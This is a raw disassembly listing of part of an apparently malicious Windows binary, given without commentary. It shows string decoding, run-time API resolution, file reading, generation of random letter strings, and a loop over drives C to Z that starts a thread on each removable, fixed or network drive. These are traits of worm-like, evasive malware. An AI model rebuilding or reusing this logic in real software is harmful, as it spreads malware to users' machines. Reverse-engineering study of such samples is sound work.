byte_551741 call sub_43CAF7 push eax lea edi, [ebp+var_50E9B] push edi call ds:dword_44802C mov eax, [ebp+var_40E9C] lea eax, [ebp+eax+var_60E9F] push eax lea eax, [ebp+var_50E9B] push eax call ds:dword_44802C add esp, 14h loc_4450EA: ; CODE XREF: sub_44496E:loc_445015j ; sub_44496E+700j ... mov eax, [ebp+var_60EA8] mov edx, dword_55119C add edx, dword_5511C0 sub edx, 4 add eax, edx add [ebp+var_40E9C], eax mov eax, [ebp+var_60EB8] cmp [ebp+var_40E9C], eax jb loc_444FD2 mov eax, dword_55120C sub eax, 4 mov [ebp+var_60EB4], eax lea ecx, [ebp+var_50E9B] or eax, 0FFFFFFFFh loc_445130: ; CODE XREF: sub_44496E+7C7j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_445130 mov [ebp+var_60EA8], eax mov eax, dword_5511C0 sub eax, 1 mov [ebp+var_40E9C], eax jmp loc_445363 ; --------------------------------------------------------------------------- loc_445150: ; CODE XREF: sub_44496E+A01j mov eax, [ebp+var_40E9C] movzx eax, [ebp+eax+var_50E9B] mov edx, dword_551134 add edx, 15h add edx, dword_551098 cmp eax, edx jz short loc_445178 and [ebp+var_60EAC], 0 loc_445178: ; CODE XREF: sub_44496E+801j mov eax, [ebp+var_40E9C] movzx eax, [ebp+eax+var_50E9B] mov edx, dword_5511DC add edx, 20h cmp eax, edx jnz loc_445309 mov eax, dword_551184 sub eax, 4 cmp [ebp+var_40E9C], eax jbe loc_44525B mov eax, [ebp+var_40E9C] movsx edx, word_551128 add edx, dword_551158 sub edx, 7 sub eax, edx mov al, [ebp+eax+var_50E9B] mov [ebp+var_60EDD], al movzx eax, [ebp+var_60EDD] mov edx, dword_55114C add edx, 1Eh cmp eax, edx jle short loc_4451F1 mov edx, dword_5510E8 add edx, 2Fh cmp eax, edx jl short loc_445251 loc_4451F1: ; CODE XREF: sub_44496E+874j movzx eax, [ebp+var_60EDD] movsx edx, word_551164 mov ecx, dword_5511AC lea edx, [edx+ecx+36h] cmp eax, edx jle short loc_445222 movsx edx, word_5511CC mov ecx, dword_5511A0 lea edx, [edx+ecx+30h] cmp eax, edx jl short loc_445251 loc_445222: ; CODE XREF: sub_44496E+89Dj movzx eax, [ebp+var_60EDD] movsx edx, word_551194 mov ecx, dword_5510E0 lea edx, [edx+ecx+73h] cmp eax, edx jle short loc_44525B mov edx, dword_5510AC add edx, 78h add edx, dword_5511DC cmp eax, edx jge short loc_44525B loc_445251: ; CODE XREF: sub_44496E+881j ; sub_44496E+8B2j mov [ebp+var_60EAC], 1 loc_44525B: ; CODE XREF: sub_44496E+837j ; sub_44496E+8CEj ... mov eax, [ebp+var_60EA8] cmp [ebp+var_40E9C], eax jnb loc_445309 mov eax, [ebp+var_40E9C] mov edx, dword_551098 sub edx, 8 add eax, edx mov al, [ebp+eax+var_50E9B] mov [ebp+var_60EDD], al movzx eax, [ebp+var_60EDD] mov edx, dword_5511F4 add edx, 15h add edx, dword_551204 cmp eax, edx jle short loc_4452BB mov edx, dword_551188 add edx, 29h movsx ecx, word_551094 add edx, ecx cmp eax, edx jl short loc_4452FF loc_4452BB: ; CODE XREF: sub_44496E+935j movzx eax, [ebp+var_60EDD] mov edx, dword_55121C add edx, 35h cmp eax, edx jle short loc_4452DC mov edx, dword_5511F8 add edx, 3Eh cmp eax, edx jl short loc_4452FF loc_4452DC: ; CODE XREF: sub_44496E+95Fj movzx eax, [ebp+var_60EDD] movsx edx, word_551138 add edx, 77h cmp eax, edx jle short loc_445309 movsx edx, word_5510CC add edx, 7Eh cmp eax, edx jge short loc_445309 loc_4452FF: ; CODE XREF: sub_44496E+94Bj ; sub_44496E+96Cj mov [ebp+var_60EAC], 1 loc_445309: ; CODE XREF: sub_44496E+823j ; sub_44496E+8F9j ... cmp [ebp+var_60EAC], 0 jnz short loc_445332 mov eax, [ebp+var_60EB4] mov edx, [ebp+var_40E9C] mov dl, [ebp+edx+var_50E9B] mov [ebp+eax+var_50E9B], dl inc [ebp+var_60EB4] loc_445332: ; CODE XREF: sub_44496E+9A2j mov eax, [ebp+var_40E9C] movzx eax, [ebp+eax+var_50E9B] mov edx, dword_5510D8 add edx, 18h add edx, dword_55110C cmp eax, edx jnz short loc_44535D mov [ebp+var_60EAC], 1 loc_44535D: ; CODE XREF: sub_44496E+9E3j inc [ebp+var_40E9C] loc_445363: ; CODE XREF: sub_44496E+7DDj mov eax, [ebp+var_60EA8] cmp [ebp+var_40E9C], eax jb loc_445150 mov eax, [ebp+var_60EB4] mov edx, dword_5511B0 movsx ecx, word_55109C add edx, ecx sub edx, 0Dh mov [ebp+eax+var_50E9B], dl loc_445394: ; CODE XREF: sub_44496E+5A3j mov eax, [ebp+var_60ED4] push eax mov esi, [eax] call dword ptr [esi+8] loc_4453A0: ; CODE XREF: sub_44496E+575j movsx eax, word_55113C sub eax, 9 mov [ebp+var_60EB0], eax lea eax, [ebp+var_60EB0] push eax push offset dword_552A58 mov eax, [ebp+var_60EC0] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_551204 add eax, dword_551180 sub eax, 2 cmp ebx, eax jnz loc_4456D2 lea eax, [ebp+var_60EBC] push eax mov eax, [ebp+var_60EB0] push eax mov edi, [eax] call dword ptr [edi+6Ch] mov ebx, eax mov eax, dword_551124 movsx edx, word_551128 add eax, edx sub eax, 7 cmp ebx, eax jnz loc_4456C6 mov eax, dword_551234 sub eax, 8 mov [ebp+var_50EA0], eax jmp loc_4456B4 ; --------------------------------------------------------------------------- loc_445425: ; CODE XREF: sub_44496E+D52j mov eax, dword_551160 add eax, dword_551174 sub eax, 0Eh push eax call ds:dword_50E924 pop ecx mov [ebp+var_70F08], 2 mov eax, [ebp+var_50EA0] mov [ebp+var_70F00], eax lea eax, [ebp+var_70F0C] push eax lea esi, [ebp+var_70F08] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd lea esi, [ebp+var_70F08] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_60EB0] push edi mov edi, [edi] call dword ptr [edi+74h] mov ebx, eax movsx eax, word_551210 movsx edx, word_5510CC add eax, edx sub eax, 6 cmp ebx, eax jnz loc_4456AE movsx eax, word_551094 add eax, dword_5510A0 sub eax, 5 mov [ebp+var_70EF4], eax lea eax, [ebp+var_70EF4] push eax push offset dword_552A48 mov eax, [ebp+var_70F0C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax movsx eax, word_5511A8 add eax, dword_551220 sub eax, 2 cmp ebx, eax jnz loc_4456A2 lea eax, [ebp+var_60EF0] push eax movsx eax, word_551128 sub eax, 5 push eax push [ebp+var_30E48] mov eax, [ebp+var_70EF4] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax or ebx, ebx jnz short loc_445524 cmp [ebp+var_60EF0], 8 jz short loc_445529 loc_445524: ; CODE XREF: sub_44496E+BAAj jmp loc_445696 ; --------------------------------------------------------------------------- loc_445529: ; CODE XREF: sub_44496E+BB4j mov eax, dword_55120C add eax, dword_55118C movsx edx, word_55113C sub edx, 9 mov byte ptr [ebp+eax+var_70EF4], dl lea eax, [ebp+var_70EEF] push eax push [ebp+var_60EE8] call sub_43DBFE add esp, 8 mov edi, eax inc edi mov [ebp+var_71F10], edi push [ebp+var_60EE8] call ds:dword_54FF34 mov eax, dword_551134 movsx edx, word_551094 movsx edx, byte ptr [ebp+edx+var_70EF4+3] mov ecx, eax add ecx, eax mov eax, ecx sub eax, 4 cmp edx, eax jz loc_445696 push [ebp+var_30E4C] lea eax, [ebp+var_70EEF] push eax call sub_43A324 add esp, 8 lea eax, [ebp+var_60EF0] push eax mov eax, dword_551120 sub eax, 8 push eax push [ebp+var_30E44] mov eax, [ebp+var_70EF4] push eax mov edi, [eax] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_551220 add eax, dword_55124C movsx edx, word_551118 sub edx, 8 mov [ebp+eax+var_71F16], dl or ebx, ebx jnz short loc_445621 cmp [ebp+var_60EF0], 8 jnz short loc_445621 lea eax, [ebp+var_71F0B] push eax push [ebp+var_60EE8] call sub_43DBFE add esp, 8 mov edi, eax inc edi mov [ebp+var_71F14], edi push [ebp+var_60EE8] call ds:dword_54FF34 loc_445621: ; CODE XREF: sub_44496E+C7Dj ; sub_44496E+C87j push offset byte_551739 call sub_43CAF7 push [ebp+var_50EA0] push eax lea edi, [ebp+var_30E3F] push edi call ds:dword_50E928 lea eax, [ebp+var_30E3F] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C lea eax, [ebp+var_71F0B] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C push offset dword_551734 call sub_43CAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C lea eax, [ebp+var_70EEF] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C add esp, 34h loc_445696: ; CODE XREF: sub_44496E:loc_445524j ; sub_44496E+C20j mov eax, [ebp+var_70EF4] push eax mov esi, [eax] call dword ptr [esi+8] loc_4456A2: ; CODE XREF: sub_44496E+B7Cj mov eax, [ebp+var_70F0C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4456AE: ; CODE XREF: sub_44496E+B30j inc [ebp+var_50EA0] loc_4456B4: ; CODE XREF: sub_44496E+AB2j mov eax, [ebp+var_60EBC] cmp [ebp+var_50EA0], eax jb loc_445425 loc_4456C6: ; CODE XREF: sub_44496E+A9Ej mov eax, [ebp+var_60EB0] push eax mov esi, [eax] call dword ptr [esi+8] loc_4456D2: ; CODE XREF: sub_44496E+A70j mov eax, [ebp+var_60EC0] push eax mov esi, [eax] call dword ptr [esi+8] movzx eax, [ebp+var_50E9B] mov edx, dword_55112C add edx, dword_551180 sub edx, 8 cmp eax, edx jz short loc_44573F push offset word_55172E call sub_43CAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C lea eax, [ebp+var_50E9B] push eax lea eax, [ebp+var_30D40] push eax call ds:dword_44802C push offset byte_551729 call sub_43CAF7 push eax lea edi, [ebp+var_30D40] push edi call ds:dword_44802C add esp, 20h loc_44573F: ; CODE XREF: sub_44496E+4F6j ; sub_44496E+D88j inc [ebp+var_30E50] loc_445745: ; CODE XREF: sub_44496E+47Aj mov eax, [ebp+var_30E58] cmp [ebp+var_30E50], eax jb loc_444DED loc_445757: ; CODE XREF: sub_44496E+2FDj ; sub_44496E+385j ... inc [ebp+var_40E5C] mov eax, [ebp+var_40E90] cmp [ebp+var_40E5C], eax jl loc_444C0E lea eax, [ebp+var_30D40] push eax call ds:dword_50E91C pop ecx push [ebp+var_30E48] call ds:dword_54FF34 push [ebp+var_30E44] call ds:dword_54FF34 loc_445795: ; CODE XREF: sub_44496E+1FFj mov eax, [ebp+var_40E70] push eax mov esi, [eax] call dword ptr [esi+8] loc_4457A1: ; CODE XREF: sub_44496E+1D4j mov eax, [ebp+var_40E6C] push eax mov esi, [eax] call dword ptr [esi+8] loc_4457AD: ; CODE XREF: sub_44496E+1A9j mov eax, [ebp+var_40E68] push eax mov esi, [eax] call dword ptr [esi+8] loc_4457B9: ; CODE XREF: sub_44496E+CAj ; sub_44496E:loc_444A8Cj ... mov eax, [ebp+var_40E64] push eax mov esi, [eax] call dword ptr [esi+8] loc_4457C5: ; CODE XREF: sub_44496E+51j ; sub_44496E+9Fj pop edi pop esi pop ebx leave retn sub_44496E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4457CA proc near ; DATA XREF: .data:005512F0o push ebp mov ebp, esp push offset dword_44B5B8 call ds:dword_48B9F8 mov eax, ds:dword_44B5B8 pop ebp retn 4 sub_4457CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4457E1 proc near ; CODE XREF: sub_43D535+18p ; sub_441BFD+10p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi push 0 push 80h push 3 push 0 push 3 push 80000000h push [ebp+arg_0] call ds:dword_54FB18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_445829 cmp [ebp+arg_4], 0 jz short loc_445825 mov eax, [ebp+arg_4] mov edx, dword_551220 add edx, dword_55119C sub edx, 6 mov [eax], edx loc_445825: ; CODE XREF: sub_4457E1+2Ej xor eax, eax jmp short loc_445878 ; --------------------------------------------------------------------------- loc_445829: ; CODE XREF: sub_4457E1+28j mov eax, dword_5511B4 sub eax, 4 push eax push edi call ds:dword_4CE910 mov esi, eax add eax, 10h push eax push 40h call ds:dword_48B9EC mov ebx, eax push dword_5511FC cmp [ebp+arg_4], 0 jz short loc_44585D mov eax, [ebp+arg_4] mov [ebp+var_8], eax jmp short loc_445863 ; --------------------------------------------------------------------------- loc_44585D: ; CODE XREF: sub_4457E1+72j lea eax, [ebp+var_4] mov [ebp+var_8], eax loc_445863: ; CODE XREF: sub_4457E1+7Aj push [ebp+var_8] push esi push ebx push edi call ds:dword_448034 push edi call ds:dword_4CD948 mov eax, ebx loc_445878: ; CODE XREF: sub_4457E1+46j pop edi pop esi pop ebx leave retn sub_4457E1 endp ; =============== S U B R O U T I N E ======================================= sub_44587D proc near ; DATA XREF: .data:005512B8o mov eax, 80004001h retn 10h sub_44587D endp ; =============== S U B R O U T I N E ======================================= sub_445885 proc near ; CODE XREF: sub_446ED7+1Bp push edi push offset byte_551719 call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551278, eax mov eax, dword_551168 add eax, dword_55117C sub eax, 9 cmp dword_551278, eax jnz short loc_4458CA push offset byte_551709 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551278, eax loc_4458CA: ; CODE XREF: sub_445885+2Cj push offset dword_5516EC call sub_43CAF7 push eax call sub_445D7B mov ds:dword_48C1E4, eax push offset byte_5516CF call sub_43CAF7 push eax call sub_445D7B mov ds:dword_44B1A8, eax push offset asc_5516C0 ; "\v" call sub_43CAF7 push eax call sub_445D7B mov ds:dword_4CE904, eax push offset byte_5516A7 call sub_43CAF7 push eax call sub_445D7B mov ds:dword_4CD81C, eax push offset dword_55168C call sub_43CAF7 push eax call sub_445D7B mov ds:dword_448050, eax push offset byte_551673 call sub_43CAF7 push eax call sub_445D7B mov ds:dword_448020, eax push offset byte_55165F call sub_43CAF7 push eax call sub_445D7B mov ds:dword_54E968, eax push offset byte_551649 call sub_43CAF7 push eax call sub_445D7B mov ds:dword_48B9DC, eax push offset byte_55162B call sub_43CAF7 push eax call sub_445D7B mov ds:dword_48B9E8, eax push offset word_55161A call sub_43CAF7 push eax call sub_445D7B mov ds:dword_44B59C, eax push offset word_55160A call sub_43CAF7 push eax call sub_445D7B mov ds:dword_44B5A0, eax push offset off_5515EA call sub_43CAF7 push eax call sub_445D7B mov ds:dword_449008, eax push offset byte_5515D3 call sub_43CAF7 push eax call sub_445D7B mov ds:dword_4CE90C, eax push offset byte_5515BF call sub_43CAF7 push eax call sub_445D7B mov ds:dword_44B080, eax push offset byte_5515AB call sub_43CAF7 push eax call sub_445D7B add esp, 78h mov ds:dword_44804C, eax pop edi retn sub_445885 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445A0A proc near ; CODE XREF: sub_4428C5+4Cp ; sub_4428C5+61p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_55125C call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_445A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445A22 proc near ; CODE XREF: sub_445E8D+9Cp ; sub_445E8D+B4p ... var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ebx push edi movzx eax, [ebp+arg_0] mov ecx, 0Ah mov edx, 0CCCCCCCDh mul edx shr edx, 3 mov [ebp+var_4], edx mov edi, edx add edi, 61h mov ebx, edi mov [ebp+arg_0], bl cmp [ebp+arg_0], 6Ah jnz short loc_445A52 add [ebp+arg_0], 1 loc_445A52: ; CODE XREF: sub_445A22+2Aj mov al, [ebp+arg_0] cmp al, 65h jz short loc_445A6D cmp al, 79h jz short loc_445A6D cmp al, 75h jz short loc_445A6D cmp al, 69h jz short loc_445A6D cmp al, 6Fh jz short loc_445A6D cmp al, 61h jnz short loc_445A71 loc_445A6D: ; CODE XREF: sub_445A22+35j ; sub_445A22+39j ... add [ebp+arg_0], 1 loc_445A71: ; CODE XREF: sub_445A22+49j movzx eax, [ebp+arg_0] pop edi pop ebx leave retn sub_445A22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445A79 proc near ; CODE XREF: sub_43A324+481p ; sub_43A324+49Dp var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_4475B4 push esi push edi push 5 push [ebp+arg_0] call ds:dword_448004 mov edi, eax loc_445A95: ; CODE XREF: sub_445A79+7Bj mov eax, dword_55120C sub eax, 4 cmp edi, eax jnz short loc_445AA5 xor eax, eax jmp short loc_445AF6 ; --------------------------------------------------------------------------- loc_445AA5: ; CODE XREF: sub_445A79+26j push 0FFFh lea eax, [ebp+var_FFF] push eax push edi call ds:dword_449FD0 movsx eax, word_551118 sub eax, 7 push eax push [ebp+arg_4] lea eax, [ebp+var_FFF] push eax call sub_43FE22 add esp, 0Ch mov esi, dword_5510E4 add esi, 0FFFAh cmp eax, esi jz short loc_445AE9 mov eax, edi jmp short loc_445AF6 ; --------------------------------------------------------------------------- loc_445AE9: ; CODE XREF: sub_445A79+6Aj push 2 push edi call ds:dword_448004 mov edi, eax jmp short loc_445A95 ; --------------------------------------------------------------------------- loc_445AF6: ; CODE XREF: sub_445A79+2Aj ; sub_445A79+6Ej pop edi pop esi leave retn sub_445A79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445AFA proc near ; CODE XREF: sub_43D0C6+AEp ; sub_43D71B+45p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] mov eax, dword_551120 mov esi, eax add esi, dword_5510D8 sub esi, 0Eh movsx edi, word_5511C4 sub edi, 8 jmp short loc_445B6A ; --------------------------------------------------------------------------- loc_445B20: ; CODE XREF: sub_445AFA+7Cj movzx edx, word ptr [ebx+edi*2] mov ecx, [ebp+arg_4] movzx ecx, word ptr [ecx+edi*2] add edx, ecx add edx, esi mov [ebp+var_4], edx mov eax, dword_5511AC add eax, 0FFFDh cmp edx, eax jbe short loc_445B59 movsx esi, word_5511CC sub esi, 8 mov eax, dword_551180 add eax, 10000h sub [ebp+var_4], eax jmp short loc_445B62 ; --------------------------------------------------------------------------- loc_445B59: ; CODE XREF: sub_445AFA+44j mov esi, dword_551170 sub esi, 4 loc_445B62: ; CODE XREF: sub_445AFA+5Dj mov edx, [ebp+var_4] mov [ebx+edi*2], dx inc edi loc_445B6A: ; CODE XREF: sub_445AFA+24j movsx eax, word_5511A4 add eax, 1Ah cmp edi, eax jb short loc_445B20 mov eax, esi pop edi pop esi pop ebx leave retn sub_445AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_445B7F proc near ; DATA XREF: sub_446ED7:loc_447202o var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov esi, 43h jmp short loc_445BA4 ; --------------------------------------------------------------------------- loc_445B8F: ; CODE XREF: sub_445B7F+28j mov ebx, dword_5510E8 add ebx, dword_5511DC dec ebx mov ds:dword_54FB20[esi*4], ebx inc esi loc_445BA4: ; CODE XREF: sub_445B7F+Ej cmp esi, 5Ah jbe short loc_445B8F loc_445BA9: ; CODE XREF: sub_445B7F+1F0j mov edi, 43h jmp loc_445D56 ; --------------------------------------------------------------------------- loc_445BB3: ; CODE XREF: sub_445B7F+1DAj push offset byte_5515A3 call sub_43CAF7 push edi push eax lea ebx, [ebp+var_E] push ebx call ds:dword_50E928 mov eax, dword_551100 add eax, dword_5511BC sub eax, 0Fh push eax call ds:dword_50E924 add esp, 14h mov ebx, dword_55122C sub ebx, 7 cmp ds:dword_54FB20[edi*4], ebx jz short loc_445C38 movsx eax, word_551118 sub eax, 8 mov [ebp+var_14], eax lea eax, [ebp+var_14] push eax push ds:dword_54FB20[edi*4] call ds:dword_54E94C cmp [ebp+var_14], 103h jz short loc_445C38 push ds:dword_54FB20[edi*4] call ds:dword_4CD948 movsx ebx, word_551128 sub ebx, 5 mov ds:dword_54FB20[edi*4], ebx loc_445C38: ; CODE XREF: sub_445B7F+72j ; sub_445B7F+99j lea eax, [ebp+var_E] push eax call ds:dword_54E964 mov [ebp+var_4], eax cmp eax, 3 jz short loc_445C8C cmp eax, 4 jz short loc_445C8C cmp eax, 2 jz short loc_445C8C mov ebx, dword_55124C add ebx, dword_5510E0 sub ebx, 0Fh cmp ds:dword_54FB20[edi*4], ebx jz loc_445D55 movsx ebx, word_5510C4 add ebx, dword_5511B0 sub ebx, 0Dh mov ds:dword_44B5E0[edi*4], ebx jmp loc_445D55 ; --------------------------------------------------------------------------- loc_445C8C: ; CODE XREF: sub_445B7F+C9j ; sub_445B7F+CEj ... push 1 call ds:dword_449FC0 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_E] push eax call ds:dword_44B088 mov ebx, dword_5511EC sub ebx, 3 cmp eax, ebx jnz short loc_445CE9 mov ebx, dword_551134 sub ebx, 2 cmp ds:dword_54FB20[edi*4], ebx jz loc_445D55 mov ebx, dword_55115C add ebx, dword_551120 sub ebx, 0Ch mov ds:dword_44B5E0[edi*4], ebx jmp short loc_445D55 ; --------------------------------------------------------------------------- loc_445CE9: ; CODE XREF: sub_445B7F+13Aj mov ebx, dword_5510BC movsx edx, word_5510F8 add ebx, edx sub ebx, 5 cmp ds:dword_54FB20[edi*4], ebx jnz short loc_445D55 mov ds:dword_44B5E0[edi*4], edi lea eax, [ebp+var_28] push eax mov eax, dword_5510BC movsx edx, word_551190 add eax, edx sub eax, 8 push eax lea ebx, ds:44B5E0h[edi*4] push ebx push offset sub_43DE1F mov ebx, dword_551100 add ebx, dword_5510E8 sub ebx, 0Ah push ebx mov ebx, dword_55110C sub ebx, 2 push ebx call ds:dword_54FF20 mov ds:dword_54FB20[edi*4], eax loc_445D55: ; CODE XREF: sub_445B7F+EBj ; sub_445B7F+108j ... inc edi loc_445D56: ; CODE XREF: sub_445B7F+2Fj cmp edi, 5Ah jbe loc_445BB3 mov eax, dword_5511B0 sub eax, 7 push eax call ds:dword_50E924 pop ecx jmp loc_445BA9 sub_445B7F endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445D7B proc near ; CODE XREF: sub_445885+50p ; sub_445885+65p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push [ebp+arg_0] push dword_551278 call ds:dword_44B1AC mov edi, eax pop edi pop ebp retn sub_445D7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445D93 proc near ; DATA XREF: .data:off_5512ECo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push offset dword_552A98 push esi call ds:dword_50E93C or eax, eax jz short loc_445DBF mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_445E14 ; --------------------------------------------------------------------------- loc_445DBF: ; CODE XREF: sub_445D93+1Aj push offset dword_552A18 push esi call ds:dword_50E93C or eax, eax jz short loc_445DDF mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_445E14 ; --------------------------------------------------------------------------- loc_445DDF: ; CODE XREF: sub_445D93+3Aj push offset dword_5529D8 push esi call ds:dword_50E93C or eax, eax jz short loc_445DFF mov eax, [ebp+arg_0] mov [edi], eax push dword ptr [edi] mov ebx, [eax] call dword ptr [ebx+4] xor eax, eax jmp short loc_445E14 ; --------------------------------------------------------------------------- loc_445DFF: ; CODE XREF: sub_445D93+5Aj mov eax, dword_55120C add eax, dword_551098 sub eax, 0Dh mov [edi], eax mov eax, 80004002h loc_445E14: ; CODE XREF: sub_445D93+2Aj ; sub_445D93+4Aj ... pop edi pop esi pop ebx pop ebp retn 0Ch sub_445D93 endp ; =============== S U B R O U T I N E ======================================= sub_445E1B proc near ; CODE XREF: sub_446ED7+20p push edi push offset byte_551595 call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551270, eax movsx eax, word_5510A8 cmp dword_551270, eax jnz short loc_445E59 push offset byte_551587 call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551270, eax loc_445E59: ; CODE XREF: sub_445E1B+25j mov eax, dword_551100 add eax, dword_5511A0 sub eax, 11h cmp dword_551270, eax jz short loc_445E8B movsx eax, word_551164 add eax, 4 push eax push dword_551270 call ds:dword_44B1AC mov ds:dword_448024, eax loc_445E8B: ; CODE XREF: sub_445E1B+52j pop edi retn sub_445E1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445E8D proc near ; CODE XREF: sub_43F090+1AAp ; sub_443843+279p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov esi, [ebp+arg_4] inc esi mov edi, dword_55123C add edi, 1Fh mov eax, esi test eax, eax jge short loc_445EAE add eax, 0FFh loc_445EAE: ; CODE XREF: sub_445E8D+1Aj sar eax, 8 mov ebx, dword_5510C0 add ebx, 7 mov edx, eax imul edx, ebx add edi, edx mov [ebp+var_8], edi mov edi, dword_551134 add edi, 13h mov eax, esi test eax, eax jge short loc_445ED8 add eax, 0FFh loc_445ED8: ; CODE XREF: sub_445E8D+44j sar eax, 8 movsx ebx, word_5510F4 add ebx, 0Fh mov edx, eax imul edx, ebx add edi, edx mov [ebp+var_C], edi mov edi, dword_5511F4 add edi, 18h mov eax, esi test eax, eax jge short loc_445F03 add eax, 0FFFFh loc_445F03: ; CODE XREF: sub_445E8D+6Fj sar eax, 10h movsx ebx, word_551144 mov ecx, dword_551180 lea ebx, [ebx+ecx+13h] mov edx, eax imul edx, ebx add edi, edx mov [ebp+var_10], edi mov eax, esi and eax, 0FFh push eax call sub_445A22 mov ebx, eax mov [ebp+var_11], bl mov eax, esi mul [ebp+var_10] mov [ebp+var_1C], eax and eax, 0FFh push eax call sub_445A22 mov ebx, eax mov [ebp+var_12], bl mov eax, esi mul [ebp+var_8] mov [ebp+var_20], eax and eax, 0FFh push eax call sub_445A22 mov ebx, eax mov [ebp+var_1], bl mov eax, dword_5510C8 add eax, 70h mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43D23C mov ebx, eax mov [ebp+var_13], bl movsx eax, word_551210 mov edx, dword_551124 lea eax, [eax+edx+5] mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43D23C mov ebx, eax mov [ebp+var_14], bl mov eax, dword_551168 add eax, 2Dh mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43D23C mov ebx, eax mov [ebp+var_15], bl mov eax, esi mul [ebp+var_C] mov [ebp+var_24], eax and eax, 0FFh push eax call sub_445A22 mov ebx, eax mov [ebp+var_16], bl mov eax, dword_5510C8 add eax, 42h mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_445A22 mov ebx, eax mov [ebp+var_17], bl mov eax, dword_551204 add eax, 45h movsx edx, word_551094 add eax, edx mov edx, esi imul edx, eax mov eax, edx and eax, 0FFh push eax call sub_43D23C add esp, 24h mov ebx, eax mov [ebp+var_18], bl movzx edi, [ebp+var_1] mov eax, edi shr eax, 1 movsx esi, word_5510D0 add esi, dword_551174 sub esi, 0Bh mul esi mov [ebp+var_28], eax mov esi, eax cmp esi, edi jnz short loc_446094 push offset byte_55156D call sub_43CAF7 movzx edi, [ebp+var_17] push edi movzx edi, [ebp+var_18] push edi movzx edi, [ebp+var_12] push edi movzx edi, [ebp+var_15] push edi movzx edi, [ebp+var_11] push edi movzx edi, [ebp+var_13] push edi movzx edi, [ebp+var_16] push edi movzx edi, [ebp+var_14] push edi movzx edi, [ebp+var_1] push edi push eax push [ebp+arg_0] call ds:dword_50E928 add esp, 30h jmp short loc_4460D8 ; --------------------------------------------------------------------------- loc_446094: ; CODE XREF: sub_445E8D+1BFj push offset word_551552 call sub_43CAF7 movzx edi, [ebp+var_17] push edi movzx edi, [ebp+var_18] push edi movzx edi, [ebp+var_12] push edi movzx edi, [ebp+var_15] push edi movzx edi, [ebp+var_11] push edi movzx edi, [ebp+var_13] push edi movzx edi, [ebp+var_16] push edi movzx edi, [ebp+var_14] push edi movzx edi, [ebp+var_1] push edi push eax push [ebp+arg_0] call ds:dword_50E928 add esp, 30h 